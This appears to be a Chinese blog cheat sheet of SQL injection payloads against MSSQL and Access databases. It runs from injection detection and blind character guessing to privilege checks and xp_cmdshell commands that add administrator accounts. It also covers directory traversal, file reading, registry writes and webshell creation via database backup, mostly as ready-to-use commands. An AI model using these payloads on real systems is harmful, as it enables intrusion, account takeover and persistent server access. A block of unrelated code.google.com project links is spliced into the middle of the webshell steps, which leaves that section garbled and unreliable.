SQL注入脚本命令

  1.判断是否有注入;and 1=1 ;and 1=2

  2.初步判断是否是mssql ;and user>0

  3.注入参数是字符'and [查询条件] and ''='

  4.搜索时没过滤参数的'and [查询条件] and '%25'='

  5.判断数据库系统

  ;and (select count(*) from sysobjects)>0 mssql

  ;and (select count(*) from msysobjects)>0 access

  6.猜数据库;and (select Count(*) from [数据库名])>0

  7.猜字段;and (select Count(字段名) from数据库名)>0

  8.猜字段中记录长度;and (select top 1 len(字段名) from数据库名)>0

  9.(1)猜字段的ascii值(access)

  ;and (select top 1 asc(mid(字段名,1,1)) from数据库名)>0

  (2)猜字段的ascii值(mssql)

  ;and (select top 1 unicode(substring(字段名,1,1)) from数据库名)>0

  10.测试权限结构(mssql)

  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--

  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--

  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--

  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--

  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--

  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--

  ;and 1=(select IS_MEMBER('db_owner'));--

  11.添加mssql和系统的帐户

  ;exec master.dbo.sp_addlogin username;--

  ;exec master.dbo.sp_password null,username,password;--

  ;exec master.dbo.sp_addsrvrolemember sysadmin username;--

  ;exec master.dbo.xp_cmdshell 'net user username password

  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

  ;exec master.dbo.xp_cmdshell 'net user username password /add';--

  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

  12.(1)遍历目录

  ;create table dirs(paths varchar(100), id int)

  ;insert dirs exec master.dbo.xp_dirtree 'c:\'

  ;and (select top 1 paths from dirs)>0

  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

  (2)遍历目录

  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

  ;insert temp exec master.dbo.xp_availablemedia;--获得当前所有驱动器

  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--获得子目录列表

  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--获得所有子目录的目录树构

  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--查看文件的内容

  13.mssql中的存储过程

  xp_regenumvalues注册表根键,子键

  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run'以多个记录集方式返回所有键值

  xp_regread根键,子键,键值名

  ;exec xp_regread

  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir'返回制定键的值

  xp_regwrite根键,子键,值名,值类型,值

  值类型有2种REG_SZ表示字符型,REG_DWORD表示整型

  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello'写入注册表

  xp_regdeletevalue根键,子键,值名

  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName'删除某个值

  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'删除键,包括该键下所有值

  14.mssql的backup创建webshell

  use model

  create table cmd(str image);

  insert into cmd(str) values ('');

code.google.com/p/gzmi;
code.google.com/p/gzdi;
code.google.com/p/gzki;
code.google.com/p/gzyi;
code.google.com/p/szci;
code.google.com/p/szlp;
code.google.com/p/hzdt;
code.google.com/p/hzct;
code.google.com/p/hzzu;
code.google.com/p/hzce;
code.google.com/p/shze;
code.google.com/p/shyr;
code.google.com/p/shre;
code.google.com/p/shcr;
code.google.com/p/bjsr;
code.google.com/p/bjce;
code.google.com/p/bjie;
code.google.com/p/bjdt;
code.google.com/p/njre;
code.google.com/p/njye;
code.google.com/p/sdzs;
code.google.com/p/sdcy;
code.google.com/p/hfzr;
code.google.com/p/hfyie;
code.google.com/p/yczs;
code.google.com/p/sjzu;
code.google.com/p/sjzc;
code.google.com/p/xmti;
code.google.com/p/fznir;
code.google.com/p/gzmr;
code.google.com/p/wzzs;
code.google.com/p/nbne;
code.google.com/p/qzze;
code.google.com/p/csmti;
code.google.com/p/cslp;
code.google.com/p/fscy;
code.google.com/p/dgzs;
code.google.com/p/szke;
code.google.com/p/hfga;
code.google.com/p/shkc;
code.google.com/p/hzht;
code.google.com/p/gzkz;
code.google.com/p/gzms;
code.google.com/p/jxke;
code.google.com/p/jxkfp;
code.google.com/p/jxfp;
code.google.com/p/gzpz;
code.google.com/p/shzp;
code.google.com/p/bjzp;
code.google.com/p/shsp;

  backup database model to disk='c:\l.asp';

  15.mssql内置函数

  ;and (select @@version)>0获得Windows的版本号

  ;and user_name()='dbo'判断当前系统的连接用户是不是sa

  ;and (select user_name())>0爆当前系统的连接用户

  ;and (select db_name())>0得到当前连接的数据库

  16.简洁的webshell

  use model

  create table cmd(str image);

  insert into cmd(str) values ('');

  backup database model to disk='g:\wwwtest\l.asp';

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值